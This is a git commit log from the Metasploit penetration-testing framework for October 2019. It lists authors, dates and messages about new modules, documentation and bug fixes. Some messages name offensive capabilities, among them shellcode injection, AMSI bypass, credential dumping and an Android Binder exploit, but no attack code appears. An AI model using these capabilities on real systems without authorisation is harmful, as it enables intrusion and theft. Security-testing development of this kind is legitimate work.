RAMELLA Sébastien 861dc9969f fix. typo in documentation file. 2019-10-18 16:07:55 +04:00
RAMELLA Sébastien 25f60b07ed compliance for the framework 2019-10-18 15:51:58 +04:00
Metasploit aa4534bb50 automatic module_metadata_base.json update 2019-10-18 06:36:43 -05:00
dwelch-r7 0563edcd28 Land #11420, Add exchange web services aux module 2019-10-18 12:28:24 +01:00
dwelch-r7 9ad5e353fe Use latest framework version 2019-10-18 12:21:33 +01:00
Jeffrey Martin b2c753d446 Land #12459, Imports need workspace 2019-10-17 17:01:12 -05:00
bwatters-r7 d1817d8f12 Fix the preceeding newline upstream when we read it rather than when
after we pass it around for a while.
2019-10-17 14:46:20 -05:00
bwatters-r7 299865bdeb * Clean up cmd_exec test module's dead code and add support for
inconsistent windows platform type.
* Add extra front chomp to shell_command response string because
there's a leading newline there.. for some reason?
2019-10-17 13:30:43 -05:00
Metasploit ccd4e93a9e Bump version of framework to 5.0.55 2019-10-17 12:05:32 -05:00
Tim W 37011c5ec0 update author and add documentation 2019-10-17 22:28:17 +08:00
Francesco Soncina e992480b5c Update shellcode_inject.rb 2019-10-17 16:02:59 +02:00
Tim W a5a3e28984 Initial commit of CVE-2019-2215 Android Binder Use-After-Free 2019-10-17 18:48:49 +08:00
Brendan Coles de3cde6a15 Add documentation 2019-10-17 07:51:33 +00:00
Brendan Coles 43c980ed29 Add ThinVNC Directory Traversal module 2019-10-17 07:44:19 +00:00
bwatters-r7 ef1fe8d62a Fix delimiter selection on commands 2019-10-16 20:06:50 -05:00
Taeber Rapczak c92ea2b799 Add documentation for post module 2019-10-16 19:06:14 -04:00
h00die 4c6f0b1562 repeat and nmap 2019-10-16 18:00:57 -04:00
Mustafa Çalap c15d5d1ec9 Add confirming with section to http title module doc 2019-10-16 19:58:54 +02:00
Brent Cook 856b3358de Land #12416, add tftpbrute docs 2019-10-16 12:05:41 +01:00
Taeber Rapczak 1c9a3c74d5 Add post module to collect grub passwords
closes #11166
2019-10-16 00:45:33 -04:00
Adam Cammack ba9c46ee91 Remove CheckCodes kludge from external modules
Now that the new CheckCode class can add boilerplate human text by
itself we no longer need the hash of built-in values.
2019-10-15 16:24:35 -05:00
Adam Cammack 7e5f866ffe Keep extended check reasons separate from messages
Have the long code text and the reason glued together does not make
sense for all check displayers. I would prefer to have this at a
different level, but I'm not too keen on refactoring all the places
where it's touched. I couldn't find any remaining places that depend on
the length of the struct, so this looks safe to add straight as another
field.
2019-10-15 16:24:02 -05:00
Jeffrey Martin 7505e1bf71 Consolidate logic for actions taken on a workspace
* When renaming a workspace allow validation to handle all cases the same
* Do not display backtrace on console for rename failure, this is still logged to framework.log
2019-10-15 16:12:11 -05:00
Jeffrey Martin 289a9c56f3 when making requests to report send workspace
The report methods of the db layer require the workspace during import.
2019-10-15 15:32:00 -05:00
Jeffrey Martin b494bf5d65 cred imports need a workspace object passed to lib
Metasploit::Credential importers expect an Mdm::Workspace object.
2019-10-15 14:51:53 -05:00
Mustafa Çalap 80115a5cf2 Add documentation for http title module 2019-10-15 21:34:52 +02:00
Wei Chen 0ebc971d29 Use CmdStager mixin 2019-10-15 14:00:58 -05:00
Shelby Pace 3c50f3d54e add generate_random_c method 2019-10-15 12:50:58 -05:00
Metasploit b1ae404e6c automatic module_metadata_base.json update 2019-10-15 11:23:22 -05:00
bwatters-r7 f5bb6f8ca2 Land #12428, Extend check codes with custom messages
Merge branch 'land-12428' into upstream-master
2019-10-15 11:06:33 -05:00
Wei Chen bb7c42b2ce Arch and disclosure date 2019-10-15 10:25:20 -05:00
Wei Chen a3331dba9f Move totaljs cms module and doc 2019-10-15 10:11:14 -05:00
pkb1s 8eed4c7545 Update exchange_web_server_pushsubscription.rb 2019-10-15 15:43:55 +01:00
Metasploit feeef90c82 automatic module_metadata_base.json update 2019-10-15 09:35:24 -05:00
Brent Cook 59bf03b947 Land #12420, Add environment-based API token authentication 2019-10-15 15:27:05 +01:00
Emmett Kelly d670e31e34 Remove unnecessary requirement 2019-10-15 15:18:41 +01:00
Mustafa Çalap 7eb1f07062 Add documentation for redis file_upload module 2019-10-15 14:03:19 +02:00
William Vu 4a9a3604f6 Fix tcp_malformed_options_detection scoring
Typo defaulted @vxworks_score and @ipnet_score to 100 instead of -100.
This commit also refactors the method to align with the others.
2019-10-14 21:00:52 -05:00
William Vu 3e0b58613a Flip TCP source/destination logic 2019-10-14 20:17:39 -05:00
Brent Cook d3208d8196 add tcp malformed options detection
Authored by busterb two commits ago and recommitted by wvu now. Oops.
2019-10-14 20:10:17 -05:00
William Vu aaf9e688b9 Remove Python external module 2019-10-14 19:38:43 -05:00
William Vu 1b0b0e8ce5 Add tcp_dos_detection 2019-10-14 19:37:59 -05:00
Shelby Pace ec9ea4ce0d Land #12366, fix nil check in atutor module 2019-10-14 18:14:06 -05:00
William Vu b667965b58 Refactor detections and add scoring 2019-10-14 17:26:08 -05:00
Shelby Pace 4997d72201 add options for keeping/deleting files
This change makes it optional to keep/delete
the files that are created when generating
compiled payloads
2019-10-14 13:34:30 -05:00
William Vu f5c7e568b9 Clarify that packet configuration sends UDP 2019-10-14 13:31:55 -05:00
William Vu ca86041951 Configure Ethernet and IP headers automatically 2019-10-14 13:18:27 -05:00
William Vu 3a0a9868aa Prefer Packet#to_w 2019-10-14 12:41:44 -05:00
William Vu 14ce82967e Finish echo request and use capture_sendto 2019-10-14 12:10:28 -05:00
William Vu 9f3d65b9fe Prefer Packet#payload 2019-10-14 11:59:03 -05:00
William Vu 0b7b88e397 Start work on icmp_timestamp_detection 2019-10-14 11:53:29 -05:00
William Vu 6321946a82 Start work on scanner 2019-10-14 11:33:13 -05:00
Brent Cook 63acf686a6 Fixed typos, extended messages append existing ones 2019-10-14 15:52:24 +01:00
Shelby Pace d4ac2efcc9 add parsing function and cred table 2019-10-14 09:34:55 -05:00
h00die 55df5f69bb Land #12418 redis_server scanner docs 2019-10-13 21:18:56 -04:00
h00die 182259f740 md format update 2019-10-13 21:17:54 -04:00
Mustafa Çalap be3e26411b Add options header for redis_server module doc 2019-10-13 20:09:18 +02:00
h00die 3dcc9182d8 heartbleed docs 2019-10-13 09:47:34 -04:00
Green-m b85b799d4f Update CachedSize of payload. 2019-10-13 19:09:07 +08:00
Green-m 0a9ca5554a Print command when start handler, more friendly. 2019-10-13 17:04:00 +08:00
Green-m 43609965e5 Fix cert verify bug of reverse SSL payload. 2019-10-13 17:01:06 +08:00
Francesco Soncina b1b59fca35 add support for Powershell::prepend_protections_bypass 2019-10-13 03:27:21 +02:00
Francesco Soncina 1878ff8017 move AMSI/SBL bypass in inner payload, force TLSv1.2 support
see https://github.com/rapid7/rex-powershell/pull/19
2019-10-13 02:33:49 +02:00
Francesco Soncina 16a85f2cfa Add support for AMSI/SBL bypass to PSH web_delivery
Related to https://github.com/rapid7/rex-powershell/pull/17
2019-10-12 16:55:08 +02:00
Brent Cook feefc8d934 fix review notes 2019-10-11 16:32:58 -05:00
Brent Cook fd447736dc colors are safe on Windows 2019-10-11 16:23:10 -05:00
Brent Cook b300284d82 switch logic 2019-10-11 16:22:51 -05:00
William Vu 1b696a06a1 Merge remote-tracking branch 'upstream/master' into pr/12399 2019-10-11 13:05:55 -05:00
Shelby Pace 3d2d49259a use uuid to get key/nonce, fall back to datastore 2019-10-11 12:24:56 -05:00
Brent Cook 602b7f2091 begin ruby port 2019-10-11 11:26:19 -05:00
Metasploit e7233c1f8e automatic module_metadata_base.json update 2019-10-11 10:58:36 -05:00
Brent Cook b4c184c01c move to better place 2019-10-11 10:57:07 -05:00
William Vu 58f665209a Land #12444, CONTRIBUTING.md update on questions 2019-10-11 10:50:36 -05:00
William Vu 92cae35e72 Fix typo 2019-10-11 10:50:25 -05:00
Jeffrey Martin c139786240 add some requests about how to use PRs efficiently 2019-10-11 10:43:23 -05:00
Jeffrey Martin fe027e4ee0 correct PR queue link text 2019-10-11 10:30:37 -05:00
OJ 82c77a4ec8 Land #12443 Fix Python reverse_http/s 2019-10-11 14:46:51 +10:00
Spencer McIntyre 8bb9f1798b Add a few more variables including local variants 2019-10-10 22:20:37 -04:00
Spencer McIntyre 85a39f75d8 Use a larger payload size to include the UUID 2019-10-10 22:08:26 -04:00
Spencer McIntyre ef81205123 Add the %M meterpreter prompt var 2019-10-10 21:13:12 -04:00
Spencer McIntyre d87308e9c0 Fix a couple of bugs in the MeterpreterPrompt 2019-10-10 21:13:12 -04:00
Spencer McIntyre 48f1e1d909 Add the %D and %U meterpreter prompt chars 2019-10-10 21:13:12 -04:00
Spencer McIntyre f63fd37938 Support a dynmaic meterpreter prompt 2019-10-10 21:13:12 -04:00
h00die bd60d009f8 Land #12367 tool to manage docs better 2019-10-10 20:41:36 -04:00
Metasploit 3fc7c77b78 automatic module_metadata_base.json update 2019-10-10 17:08:49 -05:00
Wei Chen 12c930a445 Land #12136, Add post module for dumping credentials out of NagiosXI 2019-10-10 16:59:40 -05:00
Wei Chen ffdfe33e11 Check unexpected scenarios 2019-10-10 16:57:49 -05:00
Hugo Kermabon 2bcf62c727 Merge pull request #3 from h00die/land-12367
add links
2019-10-10 21:45:03 +02:00
Metasploit d4b0f4d5a0 automatic module_metadata_base.json update 2019-10-10 14:17:28 -05:00
h00die fff6286289 Land #12437 docs for wp_dukapress_file_read 2019-10-10 15:08:56 -04:00
h00die fccb7b0efc dukapress correct versions 2019-10-10 15:05:57 -04:00
h00die 095283b861 Land #12436 docs for wordpress_scanner 2019-10-10 15:02:53 -04:00
h00die d321f5ee47 Land #12435 wordpress_xmlrpc_login docs 2019-10-10 14:58:27 -04:00
Shelby Pace e8abbfe5c2 add db usage 2019-10-10 12:16:10 -05:00
Shelby Pace 8469515651 set a default for opt_level 2019-10-10 12:16:10 -05:00
Shelby Pace b78b36dc8a add utility module for retrieving chacha key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace 7c8af0754d add warning about db 2019-10-10 12:16:10 -05:00
Shelby Pace fd347be3dc make optimization level configurable 2019-10-10 12:16:10 -05:00
Shelby Pace b674f3dda3 add AlignRSP call, remove begin from linker script 2019-10-10 12:16:10 -05:00
Shelby Pace 12f4a89629 remove 64bithelper, add VirtualFree 2019-10-10 12:16:10 -05:00
Shelby Pace ee67361314 modify opt level based on architecture 2019-10-10 12:16:10 -05:00
Shelby Pace e295732d3f generate alphanumeric key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace 4b8a1a99e0 use new key after session begins 2019-10-10 12:16:10 -05:00
Shelby Pace e4c25a7e2b separate encryption function for payloads 2019-10-10 12:16:10 -05:00
Shelby Pace bb742771e5 add stager and stage for x64 arch 2019-10-10 12:16:10 -05:00
Shelby Pace 2d00e7332a fix staged payload 2019-10-10 12:16:10 -05:00
Shelby Pace c3a7d377f4 add payload for X64 arch 2019-10-10 12:16:10 -05:00
Shelby Pace ca45d77595 randomize key 2019-10-10 12:16:10 -05:00
Shelby Pace c7b42f71a0 change description 2019-10-10 12:16:10 -05:00
Shelby Pace 3e6283c193 add staged payload 2019-10-10 12:16:10 -05:00
Shelby Pace e17013867a add stager code 2019-10-10 12:16:09 -05:00
Shelby Pace fe1b802cf9 check for dependency in stager/stage 2019-10-10 12:16:09 -05:00
Shelby Pace 7130e8dc98 use binread instead of File.open/read 2019-10-10 12:16:09 -05:00
Shelby Pace f39fc3a82d remove extraneous data from shellcode 2019-10-10 12:16:09 -05:00
Shelby Pace db0abdbec8 use correct method 2019-10-10 12:16:09 -05:00
Shelby Pace 64145cdbf2 add header files 2019-10-10 12:16:09 -05:00
Shelby Pace 7342a4579a add dependency check code 2019-10-10 12:16:09 -05:00
Shelby Pace 23028a1094 add code to read exe/strip null bytes 2019-10-10 12:16:09 -05:00
Shelby Pace b9794d76ac add GlobalFree 2019-10-10 12:16:09 -05:00
Shelby Pace 7dca0ae8e9 remove comments, add option 2019-10-10 12:16:09 -05:00
Shelby Pace 197d4be632 add compiler module 2019-10-10 12:16:09 -05:00
Shelby Pace 506ca5976d change function names, modify opt 2019-10-10 12:16:09 -05:00
Shelby Pace f73b7826a8 separate options from payload 2019-10-10 12:16:09 -05:00
Shelby Pace f32c33ce13 fix careless mistakes 2019-10-10 12:16:09 -05:00
Shelby Pace 71eff44404 format datastore options, concat c src 2019-10-10 12:16:09 -05:00
Shelby Pace be208106c8 replace hard-coded hashes with block_api call 2019-10-10 12:16:09 -05:00
Shelby Pace 31aa2b7452 add comment, remove puts 2019-10-10 12:16:09 -05:00
Shelby Pace 3e2c8f7779 add Dependency metadata for payloads 2019-10-10 12:16:09 -05:00
Shelby Pace b1cae12315 fix 'final' error, chacha20 in session 2019-10-10 12:14:27 -05:00
Shelby Pace 2c3c448abc add ruby chacha encryption and session type 2019-10-10 12:14:27 -05:00
Metasploit 6c44605799 Bump version of framework to 5.0.54 2019-10-10 12:05:04 -05:00
weh fa292d3184 Change vhost option 2019-10-10 18:36:26 +02:00
weh 98a7649528 Fix plugin version number 2019-10-10 18:34:53 +02:00
Patrik Wehrli 73be8cf7c2 Update vhost option in verification steps 2019-10-10 17:05:11 +02:00
Patrik Wehrli 67a363cce9 Replace domain with hostname 2019-10-10 17:01:08 +02:00
Patrik Wehrli a450c64f12 Change vhost option to domain 2019-10-10 16:57:20 +02:00
Francesco Soncina 74ae445128 Add AUTOUNHOOK support for shellcode_inject post module
The module will now first inject the unhook dll and then the provided shellcode.
2019-10-10 16:35:57 +02:00
weh 6cb27a22db Remove trailing spaces 2019-10-10 12:45:45 +02:00
weh bed0369af7 Apply Pullrequest Feedback 2019-10-10 12:44:19 +02:00
weh 00a7bb90a1 Apply Pullrequest Feedback 2019-10-10 12:41:20 +02:00
weh 1ba3b1326f Apply Pullrequest Feedback 2019-10-10 08:55:05 +02:00
Tim W 8f01ea3c49 update docs description 2019-10-10 13:38:37 +08:00
Tim W 4d4754a389 feedback from bcoles 2019-10-10 13:30:31 +08:00
Tim 620609c955 Update lib/msf/core/post/linux/compile.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-10 13:13:40 +08:00
Jeffrey Martin a931cd58a2 Land #12401, Get rid of RSpec implicit block expectation syntax 2019-10-09 16:40:51 -05:00
p0 8576a7876a changed disclosure date to ISO 8601 format 2019-10-09 21:53:47 +02:00
weh d73503d506 Add docuentation for wp_dukapress_file_read scanner 2019-10-09 21:05:39 +02:00
weh 138b5284d2 Add docuentation for auxiliary/scanner/http/wordpress_scanner 2019-10-09 19:54:57 +02:00
weh deaa7be8ce Add documentation for wordpress_xmlrpc_login aux scanner 2019-10-09 18:54:16 +02:00
William Vu a6ec5131ad Land #12432, length check for rdp_recv result 2019-10-09 11:39:48 -05:00
Brent Cook 2d43b88b48 Land #12434, fix doc dash 2019-10-09 11:36:41 -05:00
William Vu 6fac30aec8 Change vprint_status to vprint_error 2019-10-09 11:36:39 -05:00
William Vu ad98c2e81c Fix misnamed BlueKeep exploit documentation
Should be an underscore, not a hyphen.
2019-10-09 11:27:50 -05:00
Jose Garduno d65775e5bf added metasploit http DoS module 2019-10-09 16:54:43 +02:00
Brent Cook 62412c8d00 log a bit more about what happened 2019-10-09 08:39:03 -05:00
Brent Cook c4365cfe08 handle extra data on rdp_recv with length check
We should really be doing something like strictly parsing PDU headers in rdp_recv and then parseling out PDUs instead of recv_and_pray, but this should get us past the initial issue where sometimes there is an extra PDU right after
2019-10-09 08:22:02 -05:00
dwelch-r7 0e2923e9df Land #12431, link COPYING in readme 2019-10-09 13:26:45 +01:00
h00die 3ca4fa1edf add moved_from statements 2019-10-08 20:31:23 -04:00
William Vu 1a831573bc Land #12430, there's a goose in my MSF 2019-10-08 16:38:47 -05:00
Adam Cammack f9c5939a29 Teach more things about the new check codes 2019-10-08 16:21:40 -05:00
0xGilda 0b95acf0b3 Update honk.txt to MSF substitution sequences
as per: https://github.com/rapid7/metasploit-framework/pull/12430#issuecomment-539669624
2019-10-08 20:53:59 +01:00
0xGilda ad70e10452 Add new Untitled Goose Game inspired logo
Inspired by an @IanColdwater tweet.
2019-10-08 19:52:11 +01:00
Metasploit 16e9c7cf5f automatic module_metadata_base.json update 2019-10-08 13:27:51 -05:00
Brent Cook cb001910ab Land #12426, remove duplicate payload_inject module 2019-10-08 13:19:34 -05:00
Brent Cook aadfb843bb add module move metadata 2019-10-08 13:18:47 -05:00
Brent Cook 7e2ea42b54 Land #12404, fix potential nil object and mass deletion in shell session handler 2019-10-08 13:02:41 -05:00
Metasploit 05c00b458e automatic module_metadata_base.json update 2019-10-08 10:50:02 -05:00
Brent Cook baa0a12f71 Land #12421, use more specific requires for jtr parsing 2019-10-08 10:41:53 -05:00
Adam Cammack b65882a314 Use new CheckCodes to tidy up the bluekeep scanner 2019-10-08 09:57:53 -05:00
Adam Cammack 2a32c7b9c5 Extend check codes to allow custom messages 2019-10-08 09:57:53 -05:00
bwatters-r7 47dd96df68 Remove duplicate module in the wrong place 2019-10-08 08:48:11 -05:00
Emmett Kelly e0c86b2423 Remove references to file based token provision 2019-10-08 14:29:25 +01:00
Emmett Kelly fe3ec50239 Set API token in env instead of file 2019-10-08 13:46:07 +01:00
Brent Cook 5ce3f5d166 Land #12400, Add File Sharing Wizard SEH exploit module 2019-10-08 07:42:47 -05:00
dwelch-r7 951fd7b93e Replace double quotes with single quotes 2019-10-08 11:44:41 +01:00
Emmett Kelly fcfc78acc5 Use consistent API auth failure error handling 2019-10-08 11:14:23 +01:00
Emmett Kelly 8697b424b2 Use consistent environment variable name 2019-10-08 11:09:04 +01:00
Emmett Kelly 6d74fa2586 Load token config from yml instead of json 2019-10-08 11:03:24 +01:00
h00die d58cfccc13 goahead traversal logs 2019-10-07 21:41:57 -04:00
h00die ae8b01904a docs for git_scanner 2019-10-07 20:38:24 -04:00
Wyatt Dahlenburg 75302947db Added module to allow for ssh keys to be checked for Git access on GitHub and similar 2019-10-07 19:20:56 -05:00
Jeffrey Martin 7389417fc5 adjust for more limited require 2019-10-07 11:26:26 -05:00
dwelch-r7 25937c9e35 Use uri param and clean up logging 2019-10-07 17:15:04 +01:00
dwelch-r7 4eb068c9b0 Update target 2019-10-07 15:25:27 +01:00
Emmett Kelly 1f4649a97c Remove redundant begin block 2019-10-07 15:23:27 +01:00
Emmett Kelly 6e3acd6e9b Refactor nested else if to elsif 2019-10-07 15:23:01 +01:00
Emmett Kelly e1d44e2ae3 Remove redundant braces around hash param 2019-10-07 15:22:27 +01:00
dwelch-r7 02376c88fe Use httpclient over tcpclient 2019-10-07 15:20:30 +01:00
Emmett Kelly 8f33804fe0 Add file based API token authentication
Provides a mechanism to specify an API token from a json file.
If the DB is not enabled then the JSON RPC server will check for the
presence of an environment variable (MSF_API_TOKEN_FILE) which should
point to the path of a JSON file. The JSON file should contain a single
key "token". The value of this token is used as the API token which is
required for all JSON RPC API calls.
2019-10-07 14:57:40 +01:00
Daniel Hildebrand b941a1a823 New method for rpc client - Delete credentials from a specific workspace. 2019-10-07 14:02:53 +02:00
Mustafa Çalap f854fa6614 Add documentation for redis_server module 2019-10-07 10:06:02 +02:00
Seniru Pasan Indira da23b0857e Added the link for 'COPYING' file 2019-10-07 13:16:15 +05:30
h00die 64d44d0608 tftpbrute docs 2019-10-06 21:24:17 -04:00
h00die 5084e59ee5 add links 2019-10-06 18:13:52 -04:00
dwelch-r7 b723d026ab Address code review comments
Use strings in info hash, port is an integer, remove version number from
name
2019-10-06 15:27:29 +01:00
Metasploit 0c5819de7a automatic module_metadata_base.json update 2019-10-05 16:11:04 -05:00
Brendan Coles af05a33957 Land #12408, Fix spelling mistakes 2019-10-05 21:10:56 +00:00
Metasploit eeec7a0697 automatic module_metadata_base.json update 2019-10-05 14:49:34 -05:00
Brendan Coles 90ea642c35 Land #12406, Fix spelling mistakes 2019-10-05 19:42:58 +00:00
Brendan Coles 836f8070ce Land #12407, Fix spelling mistakes 2019-10-05 19:41:47 +00:00
h00die aef0b0b10c Land #12398 ssh_version docs 2019-10-05 14:48:23 -04:00
h00die 41f273870f md formatting 2019-10-05 14:47:53 -04:00
h00die 9f29f5f419 fix spelling received 2019-10-05 14:40:27 -04:00
h00die 905eb17132 begining to fix spelling errors 2019-10-05 14:26:34 -04:00
Metasploit 0365f09ee4 automatic module_metadata_base.json update 2019-10-05 13:22:22 -05:00
h00die 4cc85ecb75 adress a spelling problem 2019-10-05 14:22:18 -04:00
h00die 270f1cc63a Land #12394 fix spelling of separated 2019-10-05 14:14:10 -04:00
h00die f95f952b65 fix separated spelling 2019-10-05 14:13:38 -04:00
Metasploit 8817981bbc automatic module_metadata_base.json update 2019-10-05 13:02:08 -05:00
h00die 729f07f2f4 Land #12395 releative spelling fixes 2019-10-05 13:52:51 -04:00
h00die b7123e2c27 additional releative to relative 2019-10-05 13:50:30 -04:00
b4rtik bc4f706b0d Execute Assembly 2019-10-05 12:47:03 +02:00
Brendan Coles 032a99d84a to_s - Fix #12345 2019-10-05 10:11:31 +00:00
Metasploit 62107d2a04 automatic module_metadata_base.json update 2019-10-04 21:07:03 -05:00
h00die d0ff7393e6 Land #12393 fix spelling of initialize 2019-10-04 21:57:20 -04:00
h00die 7718992ea4 fix spelling of initialize 2019-10-04 21:56:52 -04:00
h00die 0eec343770 Land #12392 iis_shortname spelling fix 2019-10-04 21:51:06 -04:00
Hugo Kermabon a5fd225823 Merge pull request #2 from h00die/land-12367
add headings, run date, tab to space
2019-10-04 17:17:41 -04:00
Phil Pirozhkov 87d0fa46f8 Get rid of RSpec implicit block expectation syntax
The syntax was removed in rspec-expectations 3.8.5.
Related:
https://blog.rubystyle.guide/rspec/2019/07/17/rspec-implicit-block-syntax.html
https://github.com/rspec/rspec-expectations/pull/1125
https://github.com/rubocop-hq/rspec-style-guide/issues/76

This is a follow-up to #12397 and unpins `rspec-expectations`.
2019-10-04 23:12:34 +03:00
Metasploit a78b8adb62 automatic module_metadata_base.json update 2019-10-04 14:55:36 -05:00
Brent Cook 3c397b721d Land #12375, Add image execute options persistence module 2019-10-04 14:40:37 -05:00
Metasploit d2407ddd2c automatic module_metadata_base.json update 2019-10-04 13:07:22 -05:00
bwatters-r7 42859fc275 Land #12388, Add Required Signature Detection To smb_version
Merge branch 'land-12388' into upstream-master
2019-10-04 12:58:49 -05:00
bwatters-r7 1c4bf1a5eb Land #12396, Update metasploit Payloads to 1.3.78 to bring in Java keyevent API
Merge branch 'land-12396' into upstream-master
2019-10-04 09:52:48 -05:00
dwelch-r7 06661df510 Make rubocop happy 2019-10-04 15:12:51 +01:00
Brent Cook 90840e3787 actual CVEs this detects is more limited, remove extra refs 2019-10-04 08:52:30 -05:00
Brent Cook 1f8b4478cc convert tool to external Metasploit module 2019-10-04 08:36:04 -05:00
Brent Cook c68f8733d8 import upstream tool from https://github.com/ArmisSecurity/urgent11-detector 2019-10-04 07:33:57 -05:00
Mustafa Çalap 0f5106c705 Add documentation for ssh_version module 2019-10-04 13:09:08 +02:00
Adam Cammack f51ffbf092 Land #12368, Add documentation for SMB capture 2019-10-03 23:36:52 -05:00
Adam Cammack 8fe27d68eb Fix typo 2019-10-03 23:35:24 -05:00
Adam Cammack 5005e5f9e1 Land #12397, Pin rspec-expectations 2019-10-03 23:18:26 -05:00
Jeffrey Martin 893a32b195 lock rspec-expectations
this applies until a solution to rspec/rspec-expectations#1134 is created
2019-10-03 17:46:22 -05:00
dwelch-r7 938c3a0e76 Add module docs 2019-10-03 23:22:21 +01:00
bwatters-r7 ca39858a7a Update metasploit Payloads to 1.3.78 to bring in Java keyevent API 2019-10-03 17:11:55 -05:00
Metasploit 863e15865f Bump version of framework to 5.0.53 2019-10-03 13:41:02 -05:00
Metasploit 9ed739e5f3 Bump version of framework to 5.0.52 2019-10-03 12:12:45 -05:00
Metasploit 54afaedf23 automatic module_metadata_base.json update 2019-10-03 12:07:47 -05:00
Brent Cook a13d13b578 Land #12385, remove invalid email addresses 2019-10-03 11:59:15 -05:00
Brent Cook 7619c41254 Land #12387, bump ruby versions 2019-10-03 11:57:37 -05:00
Dan a78ccb9522 Corrected spelling in bison_ftp_traversal.rb
Fixed spelling error: "releative" to "relative"
2019-10-03 12:47:49 -04:00
Dan bb252d6ed2 Corrected spelling in db2_auth.rb
Fixed spelling error: "seperated" to "separated"
2019-10-03 12:45:09 -04:00
Dan 3393e2446b Spelling correction in udp_sweep.rb
Fixed spelling error: "Intialize" to "Initialize"
2019-10-03 12:38:36 -04:00
Dan bfea024c3a Updates iis_shortname_scanner.rb
Fixed spelling error: "diclose" to "disclose"
2019-10-03 12:28:54 -04:00
Brent Cook c2fe0966fa bump Dockerfile to Ruby 2.6.5 2019-10-03 10:39:36 -05:00
Brent Cook 5a68818c85 bump 2.5.7 as well 2019-10-03 10:39:08 -05:00
dwelch-r7 e13463eb7c remove default exit func 2019-10-03 16:24:29 +01:00
Francesco Soncina dd9fb2d9d6 Add shellcode_inject post module
This module injects an arbitrary shellcode into a target process.
2019-10-03 16:47:10 +02:00
dwelch-r7 c8c4d8ad77 Add new bad char 2019-10-03 15:46:26 +01:00
s7u55 dc64529f03 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb 2019-10-03 09:08:12 +03:00
s7u55 b8f19eb933 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: Valeri Melnikov <MelnikoffVA@yandex.ru>
2019-10-03 09:03:24 +03:00
h00die c9cde76842 additional cleanup 2019-10-02 21:03:00 -04:00
h00die ffc8c7e32a more ruby style 2019-10-02 20:23:12 -04:00
Spencer McIntyre db53adf2a1 Fix the require_signing attribute 2019-10-02 20:22:51 -04:00
Jeffrey Martin 783b54b3d6 bump ruby version for latest goodies 2019-10-02 18:55:34 -05:00
Spencer McIntyre cbf1722b01 Note whether or not SMB requires signatures 2019-10-02 19:22:07 -04:00
bwatters-r7 8142f22f6e shutup, rubocop 2019-10-02 14:50:00 -05:00
s7u55 fd2008c182 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 20:21:35 +03:00
s7u55 2f0e08b323 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 20:03:07 +03:00
dwelch-r7 20d21b45de Move module location 2019-10-02 16:08:54 +01:00
dwelch-r7 2f8e22b603 Remove hardcoded shell code and use options from info hash 2019-10-02 15:11:33 +01:00
floyd c747221863 Remove invalid email addresses 2019-10-02 13:35:25 +02:00
s7u55 f8f656e909 Update documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:43:28 +03:00
s7u55 06118ab8dc Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:43:12 +03:00
s7u55 9765792127 Update documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:42:44 +03:00
s7u55 98c8168253 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:42:34 +03:00
Metasploit 85ea40064c automatic module_metadata_base.json update 2019-10-02 00:48:17 -05:00
s7u55 43b2332afe Add omniresolve priv escalation module (CVE-2019-11660) fix 2019-10-02 01:38:51 -04:00
s7u55 bb0eb16a3e Add omniresolve priv escalation module (CVE-2019-11660) 2019-10-01 15:03:29 -04:00
bwatters-r7 477a70934f Fix copy/pasta error in options 2019-10-01 10:10:51 -05:00
Brent Cook f3c8037728 Land #12374, Add DOUBLEPULSAR payload execution and neutralization module 2019-10-01 01:32:35 -05:00
Brent Cook b223e5e66a Land #12377, Fix stack_adjustment bug 2019-10-01 01:31:53 -05:00
William Vu 9592e85975 Fix stack_adjustment nil bug and refactor method
Also fix incorrect docs.
2019-09-30 19:18:58 -05:00
Metasploit 00fba6bf48 automatic module_metadata_base.json update 2019-09-30 17:37:28 -05:00
dwelch-r7 db7e594ef4 land #12065, local file config loader
Adds a couple of modules for loading in cisco/juniper configs from a
file without needing a shell and a post module
2019-09-30 23:26:27 +01:00
dwelch-r7 e3c51ed89e land #12376, replace intro with introduction 2019-09-30 23:18:28 +01:00
William Vu ade9c23772 Don't be lazy and spell out "introduction" in docs
This was unfortunately my doing, and then people copied me.
2019-09-30 16:58:00 -05:00
William Vu a1d1303ab9 Add module doc 2019-09-30 16:49:14 -05:00
bwatters-r7 273e8b6a82 Add image execute options persistence module 2019-09-30 16:34:43 -05:00
William Vu 3edb0e3ef5 Reword module title and description 2019-09-30 14:28:53 -05:00
William Vu 4b5c6002b4 Move implant neutralization code to method 2019-09-30 14:18:41 -05:00
William Vu d5a26b892a Remove unused status codes in check 2019-09-30 14:18:41 -05:00
William Vu 32728742ea Clarify why we can't proceed 2019-09-30 14:18:41 -05:00
William Vu 4975a24900 Refactor methods to use @tree_id ivar
Whoops, forgot this when I ivar'd it.
2019-09-30 14:18:41 -05:00
William Vu b1f2fa4e64 Don't hardcode body size 2019-09-30 14:18:41 -05:00
William Vu ed0b856aac Prefer << over +=
Oops, spending too much time with Python.
2019-09-30 14:18:41 -05:00
William Vu 255af7f2d3 Simplify data count calculation 2019-09-30 14:18:41 -05:00
William Vu ade715f88a Update disclosure date to dump date 2019-09-30 14:18:41 -05:00
William Vu 7417aa8a30 Rename module and note kill target in description 2019-09-30 14:18:41 -05:00
William Vu 0392521887 Fix same multiplex ID meaning implant not detected 2019-09-30 14:18:41 -05:00
William Vu 33d7a2a818 Remove SMB::Client::Authenticated
They're fine as advanced options, since this targets a null session.
2019-09-30 14:18:41 -05:00
William Vu 6b4cf4970e Don't support x86 at the moment 2019-09-30 14:18:41 -05:00
